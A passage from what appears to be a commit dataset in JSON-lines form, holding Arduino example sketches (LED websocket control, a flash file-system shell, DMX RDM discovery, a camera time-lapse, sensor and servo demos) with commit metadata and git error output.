= function () { connection.send('Connect ' + new Date()); }; connection.onerror = function (error) { console.log('WebSocket Error ', error);};connection.onmessage = function (e) { console.log('Server: ', e.data);};function sendRGB() { var r = parseInt(document.getElementById('r').value).toString(16); var g = parseInt(document.getElementById('g').value).toString(16); var b = parseInt(document.getElementById('b').value).toString(16); if(r.length < 2) { r = '0' + r; } if(g.length < 2) { g = '0' + g; } if(b.length < 2) { b = '0' + b; } var rgb = '#'+r+g+b; console.log('RGB: ' + rgb); connection.send(rgb); }<\/script><\/head><body>LED Control:<br\/><br\/>R: <input id=\\\"r\\\" type=\\\"range\\\" min=\\\"0\\\" max=\\\"255\\\" step=\\\"1\\\" oninput=\\\"sendRGB();\\\" \/><br\/>G: <input id=\\\"g\\\" type=\\\"range\\\" min=\\\"0\\\" max=\\\"255\\\" step=\\\"1\\\" oninput=\\\"sendRGB();\\\" \/><br\/>B: <input id=\\\"b\\\" type=\\\"range\\\" min=\\\"0\\\" max=\\\"255\\\" step=\\\"1\\\" oninput=\\\"sendRGB();\\\" \/><br\/><\/body><\/html>\");\n });\n\n server.begin();\n\n \/\/ Add service to MDNS\n MDNS.addService(\"http\", \"tcp\", 80);\n MDNS.addService(\"ws\", \"tcp\", 81);\n\n digitalWrite(LED_RED, 0);\n digitalWrite(LED_GREEN, 0);\n digitalWrite(LED_BLUE, 0);\n\n}\n\nunsigned long last_10sec = 0;\nunsigned int counter = 0;\n\nvoid loop() {\n\tunsigned long t = millis();\n\twebSocket.loop();\n\tserver.handleClient();\n\n\tif((t - last_10sec) > 10 * 1000) {\n\t\tcounter++;\n\t\tbool ping = (counter % 2);\n\t\tint i = webSocket.connectedClients(ping);\n\t\tUSE_SERIAL.printf(\"%d Connected websocket clients ping: %d\", i, ping);\n\t\tlast_10sec = millis();\n\t}\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/esp8266\/WebSocketServerAllFunctionsDemo\/WebSocketServerAllFunctionsDemo.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"131e7256bdcd66547c1d6e8f9415f5c0bb332cdd","subject":"Adding a tiny shell for CFFS; cat, cd, echo, ls, od, time.","message":"Adding a tiny shell for CFFS; cat, cd, echo, ls, od, time.\n","repos":"dansut\/Cosa,mikaelpatel\/Cosa,rrobinet\/Cosa,mikaelpatel\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,kc9jud\/Cosa,dansut\/Cosa,kc9jud\/Cosa,rrobinet\/Cosa,kc9jud\/Cosa,dansut\/Cosa,dansut\/Cosa,jeditekunum\/Cosa,rrobinet\/Cosa,rrobinet\/Cosa,kc9jud\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,jeditekunum\/Cosa","old_file":"examples\/Sandbox\/CosaCFFSshell\/CosaCFFSshell.ino","new_file":"examples\/Sandbox\/CosaCFFSshell\/CosaCFFSshell.ino","new_contents":"\/**\n * @file CosaCFFSshell.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2014, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n * \n * @section Description\n * Tiny command shell to demonstration the S25FL127S SPI Flash Memory\n * device driver and file system.\n *\n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/FS\/CFFS.hh\"\n#include \"Cosa\/Time.hh\"\n#include \"Cosa\/IOStream\/Driver\/UART.hh\"\n#include \"Cosa\/Watchdog.hh\"\n#include \"Cosa\/RTC.hh\"\n\n#if defined(ANARDUINO_MINIWIRELESS)\nOutputPin rf_cs(Board::D10, 1);\n#endif\n\nS25FL127S flash;\nIOStream cout;\n\nvoid setup()\n{\n Watchdog::begin();\n RTC::begin();\n uart.begin(9600);\n uart.set_blocking(SLEEP_MODE_IDLE);\n cout.set_device(&uart);\n flash.begin();\n CFFS::begin(&flash);\n}\n\nvoid loop()\n{\n static bool echo = false;\n const size_t BUF_MAX = 256;\n char buf[BUF_MAX];\n char* filename;\n int res = 0;\n \n cout << PSTR(\"arduino:$ \");\n if (uart.gets(buf, sizeof(buf)) == NULL) return;\n if (echo) cout << buf << endl;\n\n if (strncmp_P(buf, PSTR(\"cat\"), 3) == 0) {\n CFFS::File file;\n filename = buf + 4;\n res = file.open(filename, O_READ);\n if (res == 0) {\n IOStream::Device* dev = cout.get_device();\n int res;\n while ((res = file.read(buf, sizeof(buf))) > 0)\n\tdev->write(buf, res);\n }\n else {\n cout << PSTR(\"cat\");\n }\n }\n\n else if (strncmp_P(buf, PSTR(\"cd\"), 2) == 0) {\n filename = buf + 3;\n res = CFFS::cd(filename);\n if (res != 0) {\n cout << PSTR(\"cd\");\n }\n }\n\n else if (strncmp_P(buf, PSTR(\"echo\"), 4) == 0) {\n echo = strcmp_P(buf + 5, PSTR(\"off\"));\n }\n\n else if (strcmp_P(buf, PSTR(\"ls\")) == 0) {\n CFFS::ls(cout);\n }\n\n else if (strncmp_P(buf, PSTR(\"od\"), 2) == 0) {\n CFFS::File file;\n filename = buf + 3;\n res = file.open(filename, O_READ);\n if (res == 0) {\n while (file.read(buf, sizeof(buf)) > 0) \n\tcout.print(buf, sizeof(buf), IOStream::hex, 128 + 16);\n }\n else {\n cout << PSTR(\"od\");\n }\n }\n else if (strcmp_P(buf, PSTR(\"time\")) == 0) {\n time_t now(RTC::seconds());\n cout << now << endl;\n }\n\n if (res == 0) return;\n cout << PSTR(\": \") << filename << PSTR(\": No such file or directory\") << endl;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Sandbox\/CosaCFFSshell\/CosaCFFSshell.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"d1a469754395d4d7e8858dfe7258aea5201793bc","subject":"Added Sequencer example","message":"Added Sequencer example\n","repos":"Sonoscopia\/KidModular,Sonoscopia\/KidModular","old_file":"examples\/Sequencer_example\/Sequencer_example.ino","new_file":"examples\/Sequencer_example\/Sequencer_example.ino","new_contents":"#define V 32\n#define LED 5\n#define POT 0 \n#define GATEOUT 13\n\nbyte bpm = 120;\nint stepTime; \nbyte curStep = 0;\nint playhead = 1;\nbyte dur[] = {50, 50, 50, 50};\nbyte numSteps = 4;\n\nvoid setup(){\n stepTime = 60000.f \/ bpm;\n pinMode(LED, OUTPUT);\n pinMode(13, OUTPUT);\n}\n\nvoid loop(){\n runSequence();\n delayMicroseconds(750); \/\/ in a genuine Arduino with a 16MHz crystal oscillator the delay should be 1ms\n \/\/ but on fake Arduinos with 12MHz oscillator the delay should be 0.75ms to have an accurrate clock running once every millisecond\n}\n\nvoid runSequence(){\n playhead++;\n if(playhead > numSteps * stepTime) playhead = 1; \/\/ reset playhead\n curStep = playhead \/ stepTime; \/\/ increment current step\n \/\/ Gate CV output \n if(playhead % stepTime < stepTime * dur[curStep] \/ 100.f){\n digitalWrite(GATEOUT, HIGH);\n analogWrite(curStep+LED, 255-V);\n } \n else{\n digitalWrite(GATEOUT, LOW);\n analogWrite(curStep+LED, 255-LOW);\n }\n \n dur[0] = analogRead(0) \/ 1024.f * 100;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Sequencer_example\/Sequencer_example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"db655d6fef5a248af94828198d9a075ba15d4624","subject":"update examples for rdm","message":"update examples for rdm\n","repos":"claudeheintz\/LXTeensy3DMX_Library,claudeheintz\/LXTeensy3DMX_Library,claudeheintz\/LXTeensy3DMX_Library","old_file":"examples\/rdmControllerTest\/rdmControllerTest.ino","new_file":"examples\/rdmControllerTest\/rdmControllerTest.ino","new_contents":"\/**************************************************************************\/\n\/*!\n @file rdmTest.ino\n @author Claude Heintz\n @license BSD (see LXTeensy3DMX LICENSE)\n @copyright 2017 by Claude Heintz\n\n Test of LXTeensy3DMX RDM functions\n Changes output level of some DMX Addresses while building RDM\n table of devices. Turns identify on and off for found RDM devices.\n\n @section HISTORY\n\n v1.00 - First release\n*\/\n\/**************************************************************************\/\n\n#include <LXTeensy3DMX.h>\n#include <rdm\/rdm_utility.h>\n#include <rdm\/UID.h>\n#include <rdm\/TOD.h>\n\n\nuint8_t testLevel = 0;\nuint8_t loopDivider = 0;\nuint8_t identifyFlag = 1;\nuint8_t tableChangedFlag = 0;\n\nTOD tableOfDevices;\nTOD discoveryTree;\n\nUID lower(0,0,0,0,0,0);\nUID upper(0,0,0,0,0,0);\nUID mid(0,0,0,0,0,0);\nUID found(0,0,0,0,0,0);\n\n#define DIRECTION_PIN 3\n#define DISC_STATE_SEARCH 0\n#define DISC_STATE_TBL_CK 1\nuint8_t discovery_state = DISC_STATE_TBL_CK;\nuint8_t discovery_tbl_ck_index = 0;\n\n\n\/\/***************** discovery functions\n\nvoid checkDeviceFound(UID found) {\n if ( testMute(found) ) {\n tableOfDevices.add(found);\n tableChangedFlag = 1;\n }\n}\n\nuint8_t testMute(UID u) {\n \/\/ try three times to get response when sending a mute message\n if ( Teensy3DMX.sendRDMDiscoveryMute(u, RDM_DISC_MUTE) ) {\n return 1;\n }\n if ( Teensy3DMX.sendRDMDiscoveryMute(u, RDM_DISC_MUTE) ) {\n return 1;\n }\n if ( Teensy3DMX.sendRDMDiscoveryMute(u, RDM_DISC_MUTE) ) {\n return 1;\n }\n return 0;\n}\n\nuint8_t checkTable(uint8_t ck_index) {\n if ( ck_index == 0 ) {\n Teensy3DMX.sendRDMDiscoveryMute(BROADCAST_ALL_DEVICES_ID, RDM_DISC_UNMUTE);\n }\n\n if ( tableOfDevices.getUIDAt(ck_index, &found) ) {\n if ( testMute(found) ) {\n \/\/ device confirmed\n return ck_index += 6;\n }\n \n \/\/ device not found\n tableOfDevices.removeUIDAt(ck_index);\n tableChangedFlag = 1;\n return ck_index;\n }\n \/\/ index invalid\n return 0;\n}\n\nvoid identifyEach() {\n int i = 0;\n uint8_t notDone = 1;\n while ( notDone ) {\n i = tableOfDevices.getNextUID(i, &found);\n if ( i < 0 ) {\n notDone = 0;\n } else {\n \/\/uint16_t data; \/\/for DMX address and identify device on\/off\n uint8_t data[2];\n if ( Teensy3DMX.sendRDMGetCommand(found, RDM_DEVICE_START_ADDR, data, 2) ) {\n uint16_t addr = (data[0] << 8) | data[1];\n\n if ( addr == 0x0F ) {\n data[0] = 0x00;\n data[1] = 0x01;\n Teensy3DMX.sendRDMSetCommand(found, RDM_DEVICE_START_ADDR, (uint8_t*)data, 2);\n }\n \n data[0] = 0x01;\n Teensy3DMX.sendRDMSetCommand(found, RDM_IDENTIFY_DEVICE, (uint8_t*)data, 1);\n delay(2000);\n data[0] = 0x00;\n Teensy3DMX.sendRDMSetCommand(found, RDM_IDENTIFY_DEVICE, (uint8_t*)data, 1);\n }\n }\n }\n}\n\n\/\/called when range responded, so divide into sub ranges push them on stack to be further checked\nvoid pushActiveBranch(UID lower, UID upper) {\n if ( mid.becomeMidpoint(lower, upper) ) {\n discoveryTree.push(lower);\n discoveryTree.push(mid);\n discoveryTree.push(mid);\n discoveryTree.push(upper);\n } else {\n \/\/ No midpoint possible: lower and upper are equal or a 1 apart\n checkDeviceFound(lower);\n checkDeviceFound(upper);\n }\n}\n\nvoid pushInitialBranch() {\n lower.setBytes(0);\n upper.setBytes(BROADCAST_ALL_DEVICES_ID);\n discoveryTree.push(lower);\n discoveryTree.push(upper);\n\n \/\/ETC devices seem to only respond with wildcard or exact manufacturer ID\n lower.setBytes(0x657400000000);\n upper.setBytes(0x6574FFFFFFFF);\n discoveryTree.push(lower);\n discoveryTree.push(upper);\n}\n\nuint8_t checkNextRange() {\n if ( discoveryTree.pop(&upper) ) {\n if ( discoveryTree.pop(&lower) ) {\n if ( lower == upper ) {\n checkDeviceFound(lower);\n } else { \/\/not leaf so, check range lower->upper\n uint8_t result = Teensy3DMX.sendRDMDiscoveryPacket(lower, upper, &found);\n if ( result ) {\n \/\/this range responded, so divide into sub ranges push them on stack to be further checked\n pushActiveBranch(lower, upper);\n \n } else if ( Teensy3DMX.sendRDMDiscoveryPacket(lower, upper, &found) ) {\n pushActiveBranch(lower, upper); \/\/if discovery fails, try a second time\n }\n } \/\/ end check range\n return 1; \/\/ UID ranges may be remaining to test\n } \/\/ end valid pop\n } \/\/ end valid pop \n return 0; \/\/ none left to pop\n}\n\n\n\nvoid testRDMDiscovery() {\n if ( discovery_state ) {\n \/\/ check the table of devices\n discovery_tbl_ck_index = checkTable(discovery_tbl_ck_index);\n if ( discovery_tbl_ck_index == 0 ) {\n \/\/ done with table check\n discovery_state = DISC_STATE_SEARCH;\n pushInitialBranch();\n\n if ( identifyFlag ) { \/\/once per cycle identify each device\n identifyEach(); \/\/this is just to demonstrate GET device address\n identifyFlag = 0; \/\/and SET identify device\n }\n \n \/\/if ( tableChangedFlag ) { \/\/if the table has changed...\n tableChangedFlag = 0;\n\n \/\/ if this were an Art-Net application, you would send an \n \/\/ ArtTOD packet here, because the device table has changed.\n \/\/ for this test, we just print the list of devices\n Serial.println(\"_______________ Table Of Devices _______________\");\n tableOfDevices.printTOD();\n \/\/}\n }\n } else { \/\/ search for devices in range popped from discoveryTree\n if ( checkNextRange() == 0 ) {\n \/\/ done with search\n discovery_tbl_ck_index = 0;\n discovery_state = DISC_STATE_TBL_CK;\n }\n }\n}\n\n\/************************************************************************\n\tsetup\n*************************************************************************\/\nvoid setup() {\n Serial.begin(115200);\n Serial.print(\"setup... \");\n \n pinMode(4, OUTPUT); \/\/ used for testing\n\n pinMode(DIRECTION_PIN, OUTPUT);\n Teensy3DMX.startRDM(DIRECTION_PIN, RDM_DIRECTION_OUTPUT, RX_SIGNAL_INVERTED);\n Serial.println(\"setup complete\");\n}\n\n\n\/************************************************************************\n\n The main loop checks to see if the level of the designated slot has changed\n and prints the new level to the serial monitor. If a PWM channel is assigned,\n it also sets the output level.\n \n*************************************************************************\/\n\nvoid loop() {\n delay(2);\n testRDMDiscovery();\n \n Teensy3DMX.setSlot(7,testLevel);\n Teensy3DMX.setSlot(8,255);\n Teensy3DMX.setSlot(371,testLevel);\n Teensy3DMX.setSlot(22,255);\n loopDivider++;\n if ( loopDivider == 4 ) {\n testLevel++;\n loopDivider = 0;\n }\n if ( testLevel == 1 ) {\n delay(500);\n identifyFlag = 1;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/rdmControllerTest\/rdmControllerTest.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"f29cb6fdc135473aa5f07bc081394d33bd3b42be","subject":"easy callibration","message":"easy callibration","repos":"OttoDIY\/DIY,OttoDIY\/DIY","old_file":"Otto_easycal\/Otto_easycal.ino","new_file":"Otto_easycal\/Otto_easycal.ino","new_contents":"\/************************************************************************************** \n* Easy calibration for Otto DIY \n* Javier Isabel, 02\/06\/2015 \n* VERY IMPORTANT only calibrate one time per board!to avoid damage EEPROM memory\n**************************************************************************************\/\n#include <Otto.h>\n#include <Servo.h>\n#include <Oscillator.h>\n#include <EEPROM.h>\nOtto Otto;\n\nvoid setup()\n{\n Otto.init(2, 3, 4, 5, false);\n Otto.setTrims(-7,-4,-4,7); \/\/change Trim \"offset values\" gradually until Otto is completely straight (90\u00ba)\n \/\/ Otto.saveTrimsOnEEPROM(); \/\/use only after completely straight(90\u00ba), delete this line after for further programming\n}\nint posiciones[] = {90, 90, 90, 90};\n\nvoid loop() \/\/test comparing before & after function\n{\n Otto.home();\n \/\/ delay(4000);\n \/\/ Otto.updown(6, 500, BIG); \n \/\/ delay(2000);\n \/\/ \n \/\/ Otto.walk(4,1800);\n \/\/delay(2000);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Otto_easycal\/Otto_easycal.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"89d6e19cd42a038cba03346e5501a6573ed07e33","subject":"initial sketch","message":"initial sketch\n","repos":"cdonges\/cricket","old_file":"arduino\/arduino.ino","new_file":"arduino\/arduino.ino","new_contents":"#include <Servo.h>\nServo myservo;\n\nvoid setup() \n{\n Serial.begin(38400);\n myservo.attach(11);\n}\n\nvoid loop() \n{\n if (Serial.available() > 0) \n {\n \/\/Read buffer\n char inputByte = Serial.read();\n \n if (inputByte == 'w')\n {\n int angle=0;\n while (angle <=90)\n {\n myservo.write(angle);\n delay(10);\n angle++;\n }\n while (angle > 0)\n {\n myservo.write(angle);\n delay(10);\n angle--;\n }\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"12083587cb3baed2b67a7fa3873e09bbf7154253","subject":"display working, beginning to structure UI","message":"display working, beginning to structure UI\n","repos":"ReeceStevens\/patient-monitor","old_file":"display\/display.ino","new_file":"display\/display.ino","new_contents":"#include <stdint.h>\n#include <SPI.h>\n#include <Adafruit_GFX.h>\n#include <Adafruit_ILI9341.h>\n#include <Adafruit_STMPE610.h>\n#include <Wire.h>\n\n#define CS_TOUCH 8\n#define CS_SCREEN 10\n#define DC 9\n#define RST 7\n\n\/\/ This is calibration data for the raw touch data to the screen coordinates\n\/\/#define TS_MINX 150\n\/\/#define TS_MINY 130\n#define TS_MINX 150\n#define TS_MINY 130\n#define TS_MAXX 3800\n#define TS_MAXY 4000\n\n#define BOXSIZE 60\n\nAdafruit_ILI9341 tft = Adafruit_ILI9341(CS_SCREEN, DC);\nAdafruit_STMPE610 ts = Adafruit_STMPE610(CS_TOUCH);\n\nvoid setup(void){\n Serial.begin(9600);\n tft.begin();\n if (!ts.begin()){\n Serial.println(\"Unable to start touchscreen\");\n }\n else {\n Serial.println(\"Touchscreen started.\");\n }\n \n tft.fillScreen(ILI9341_BLACK);\n tft.setRotation(1);\n \n \n \/\/ Make submenu selection boxes\n tft.fillRect(0,0,BOXSIZE,BOXSIZE,ILI9341_RED);\n tft.fillRect(0, BOXSIZE,BOXSIZE,BOXSIZE, ILI9341_GREEN);\n tft.fillRect(0,BOXSIZE*2, BOXSIZE, BOXSIZE, ILI9341_BLUE);\n tft.fillRect(0, BOXSIZE*3, BOXSIZE, BOXSIZE, ILI9341_MAGENTA);\n tft.setCursor(BOXSIZE + 20, 0);\n tft.setTextSize(1);\n tft.println(\"Texas Engineering World Health\");\n tft.setCursor(BOXSIZE + 40, 10);\n tft.println(\"Patient Monitor v1.0\");\n\n}\n\nint currentMode = 0; \/\/ Change mode\nint timeout = 0;\n\nvoid loop(void) {\n timeout ++;\n \/\/ After timeout, wipe message from screen\n if (timeout > 50000) {\n tft.fillRect(BOXSIZE, 50, tft.width()-BOXSIZE, tft.height(), ILI9341_BLACK);\n }\n \n \/\/ Touch screen interfacing taken from touchpaint.ino example\n \/\/ in the ILI9341 examples directory\n \n \/\/ Check if there is touch data\n if (ts.bufferEmpty()){\n return;\n }\n \/\/ Retrieve the touch point\n TS_Point p = ts.getPoint();\n \/\/ Scale from 0-4000 to tft.width() using calibration numbers\n p.x = map(p.x, TS_MINX, TS_MAXX, 0, tft.height());\n p.y = map(p.y, TS_MINY, TS_MAXY, 0, tft.width());\n \n \/\/ Do stuff with the coordinates of the touch\n \n if (p.y < BOXSIZE){\n if (p.x < BOXSIZE) {\n if (currentMode != 1){\n tft.fillRect(BOXSIZE, 50, tft.width()-BOXSIZE, tft.height(), ILI9341_BLACK);\n tft.setCursor((tft.width()\/2) -50, tft.height()\/2);\n tft.setTextSize(2);\n tft.setTextColor(ILI9341_MAGENTA);\n tft.println(\"Alarm Settings\"); \n currentMode = 1;\n timeout = 0;\n }\n } else if (p.x < BOXSIZE*2) {\n if (currentMode != 2) {\n tft.fillRect(BOXSIZE, 50, tft.width()-BOXSIZE, tft.height(), ILI9341_BLACK); \n tft.setCursor((tft.width()\/2) -50, tft.height()\/2);\n tft.setTextSize(2);\n tft.setTextColor(ILI9341_BLUE);\n tft.println(\"Temperature\"); \n currentMode = 2;\n timeout = 0;\n }\n } else if (p.x < BOXSIZE*3){\n if (currentMode != 3) {\n tft.fillRect(BOXSIZE, 50, tft.width()-BOXSIZE, tft.height(), ILI9341_BLACK);\n tft.setCursor((tft.width()\/2) -50, tft.height()\/2);\n tft.setTextSize(2);\n tft.setTextColor(ILI9341_GREEN);\n tft.println(\"SpO2\"); \n currentMode = 3;\n timeout = 0;\n }\n } else if (p.x < BOXSIZE*4){\n if (currentMode != 4){\n tft.fillRect(BOXSIZE, 50, tft.width()-BOXSIZE, tft.height(), ILI9341_BLACK);\n tft.setCursor((tft.width()\/2) -50, tft.height()\/2);\n tft.setTextSize(2);\n tft.setTextColor(ILI9341_RED);\n tft.println(\"Heart Rate\"); \n currentMode = 4; \n timeout = 0;\n }\n }\n \n \n }\n\n}\n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'display\/display.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"21a21398d73479760719f18964ee869393665289","subject":"Add ArduCAM Mini 2MP Time Elapse Caputure to SD Card Demo","message":"Add ArduCAM Mini 2MP Time Elapse Caputure to SD Card Demo\n","repos":"Oitzu\/Arduino,Oitzu\/Arduino,ArduCAM\/Arduino,ArduCAM\/Arduino,Oitzu\/Arduino,ArduCAM\/Arduino","old_file":"ArduCAM\/examples\/mini\/ArduCAM_Mini_2MP_TimeElapse2SD\/ArduCAM_Mini_2MP_TimeElapse2SD.ino","new_file":"ArduCAM\/examples\/mini\/ArduCAM_Mini_2MP_TimeElapse2SD\/ArduCAM_Mini_2MP_TimeElapse2SD.ino","new_contents":"\/\/ ArduCAM demo (C)2015 Lee\n\/\/ web: http:\/\/www.ArduCAM.com\n\/\/ This program is a demo of how to use most of the functions\n\/\/ of the library with a supported camera modules, and can run on any Arduino platform.\n\/\/\n\/\/ This demo was made for Omnivision OV2640 2MP sensor.\n\/\/ It will run the ArduCAM Mini 2MP as a real 2MP digital camera, provide both JPEG capture.\n\/\/ The demo sketch will do the following tasks:\n\/\/ 1. Set the sensor to JPEG mode.\n\/\/ 2. Capture and buffer the image to FIFO every 5 seconds \n\/\/ 3. Store the image to Micro SD\/TF card with JPEG format in sequential.\n\/\/ 4. Resolution can be changed by myCAM.set_JPEG_size() function.\n\/\/ This program requires the ArduCAM V3.4.0 (or later) library and ArduCAM Mini 2MP shield\n\/\/ and use Arduino IDE 1.5.2 compiler or above\n\n#include <UTFT_SPI.h>\n#include <SD.h>\n#include <Wire.h>\n#include <ArduCAM.h>\n#include <SPI.h>\n#include \"memorysaver.h\"\n\n#if defined(__arm__)\n#include <itoa.h>\n#endif\n\n#define SD_CS 9\n\/\/ set pin 4 as the slave select for SPI:\nconst int SPI_CS = 4;\n\nArduCAM myCAM(OV2640, SPI_CS);\nUTFT myGLCD(SPI_CS);\n\n\nvoid setup()\n{\n uint8_t vid, pid;\n uint8_t temp;\n#if defined (__AVR__)\n Wire.begin();\n#endif\n#if defined(__arm__)\n Wire1.begin();\n#endif\n Serial.begin(115200);\n Serial.println(\"ArduCAM Start!\");\n \/\/ set the SPI_CS as an output:\n pinMode(SPI_CS, OUTPUT);\n\n \/\/ initialize SPI:\n SPI.begin();\n \/\/Check if the ArduCAM SPI bus is OK\n myCAM.write_reg(ARDUCHIP_TEST1, 0x55);\n temp = myCAM.read_reg(ARDUCHIP_TEST1);\n if (temp != 0x55)\n {\n Serial.println(\"SPI interface Error!\");\n while (1);\n }\n\n \/\/Check if the camera module type is OV2640\n myCAM.rdSensorReg8_8(OV2640_CHIPID_HIGH, &vid);\n myCAM.rdSensorReg8_8(OV2640_CHIPID_LOW, &pid);\n if ((vid != 0x26) || (pid != 0x42))\n Serial.println(\"Can't find OV2640 module!\");\n else\n Serial.println(\"OV2640 detected\");\n\n \/\/Change to BMP capture mode and initialize the OV2640 module\n myCAM.set_format(JPEG);\n\n myCAM.InitCAM();\n \/\/myCAM.OV2640_set_JPEG_size(OV2640_640x480);\n \/\/myCAM.OV2640_set_JPEG_size(OV2640_1600x1200);\n\n \/\/Initialize SD Card\n if (!SD.begin(SD_CS))\n {\n \/\/while (1);\t\t\/\/If failed, stop here\n Serial.println(\"SD Card Error\");\n }\n else\n Serial.println(\"SD Card detected!\");\n}\n\nvoid loop()\n{\n char str[8];\n File outFile;\n byte buf[256];\n static int i = 0;\n static int k = 0;\n static int n = 0;\n uint8_t temp, temp_last;\n uint8_t start_capture = 0;\n int total_time = 0;\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n start_capture = 1;\n delay(5000);\n \n if (start_capture)\n {\n \/\/Flush the FIFO\n myCAM.flush_fifo();\n \/\/Clear the capture done flag\n myCAM.clear_fifo_flag();\n \/\/Start capture\n myCAM.start_capture();\n Serial.println(\"Start Capture\");\n }\n\n while (!myCAM.get_bit(ARDUCHIP_TRIG , CAP_DONE_MASK));\n\n\n Serial.println(\"Capture Done!\");\n\n \/\/Construct a file name\n k = k + 1;\n itoa(k, str, 10);\n strcat(str, \".jpg\");\n \/\/Open the new file\n outFile = SD.open(str, O_WRITE | O_CREAT | O_TRUNC);\n if (! outFile)\n {\n Serial.println(\"open file failed\");\n return;\n }\n total_time = millis();\n i = 0;\n myCAM.CS_LOW();\n myCAM.set_fifo_burst();\n temp = SPI.transfer(0x00);\n \/\/\n \/\/Read JPEG data from FIFO\n while ( (temp != 0xD9) | (temp_last != 0xFF))\n {\n temp_last = temp;\n temp = SPI.transfer(0x00);\n\n \/\/Write image data to buffer if not full\n if (i < 256)\n buf[i++] = temp;\n else\n {\n \/\/Write 256 bytes image data to file\n myCAM.CS_HIGH();\n outFile.write(buf, 256);\n i = 0;\n buf[i++] = temp;\n myCAM.CS_LOW();\n myCAM.set_fifo_burst();\n }\n }\n \/\/Write the remain bytes in the buffer\n if (i > 0)\n {\n myCAM.CS_HIGH();\n outFile.write(buf, i);\n }\n \/\/Close the file\n outFile.close();\n total_time = millis() - total_time;\n Serial.print(\"Total time used:\");\n Serial.print(total_time, DEC);\n Serial.println(\" millisecond\");\n \/\/Clear the capture done flag\n myCAM.clear_fifo_flag();\n \/\/Clear the start capture flag\n start_capture = 0;\n}\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduCAM\/examples\/mini\/ArduCAM_Mini_2MP_TimeElapse2SD\/ArduCAM_Mini_2MP_TimeElapse2SD.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d3624a85bcbf3fdc1e9299f26d0bc747d4f2b4e8","subject":"Fixed example for new uart transmission style.","message":"Fixed example for new uart transmission style.","repos":"ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR","old_file":"arduino\/opencr_arduino\/opencr\/libraries\/OpenCR\/examples\/10. Etc\/usb_to_dxl\/usb_to_dxl.ino","new_file":"arduino\/opencr_arduino\/opencr\/libraries\/OpenCR\/examples\/10. Etc\/usb_to_dxl\/usb_to_dxl.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/opencr_arduino\/opencr\/libraries\/OpenCR\/examples\/10.' did not match any file(s) known to git\nerror: pathspec 'Etc\/usb_to_dxl\/usb_to_dxl.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"68a1d358a5d0370bff680f99c3e74c6bb6ef5cee","subject":"Update mainhrm.ino","message":"Update mainhrm.ino","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/mainhrm\/mainhrm.ino","new_file":"arduino\/mainhrm\/mainhrm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a8cb415115995a2c4a72b6857c05bdfa5367f8b0","subject":"Create dht.ino","message":"Create dht.ino","repos":"treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches","old_file":"dht.ino","new_file":"dht.ino","new_contents":"#include <DHT11.h>\n#define DHTPIN 7 \n#define DHTTYPE DHT11\nDHT dht(DHTPIN, DHTTYPE);\n\/*it's important that we set these variable per DHT sensor on our project*\/\n\nvoid setup() {\n Serial.begin(9600); \n \n dht.begin();\n}\n\nvoid loop() {\n \/*reading the sensor will be slow, (about 1.4 of a second, and the data might be old\n (up to 8x that time)*\/ \n float h = dht.readHumidity();\n float t = dht.readTemperature();\n\n \/\/ check if returns are valid, if they are NaN (not a number) then something went wrong!\n if (isnan(t) || isnan(h)) {\n Serial.println(\"Failed to read from DHT\");\n } else {\n Serial.print(\"Humidity: \"); \n Serial.print(h);\n Serial.print(\" %\\t\");\n Serial.print(\"Temperature: \"); \n Serial.print(t);\n Serial.println(\" *C\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'dht.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"839f60c333e3c92a4ccfa472806bedaf20654a26","subject":"Polished code","message":"Polished 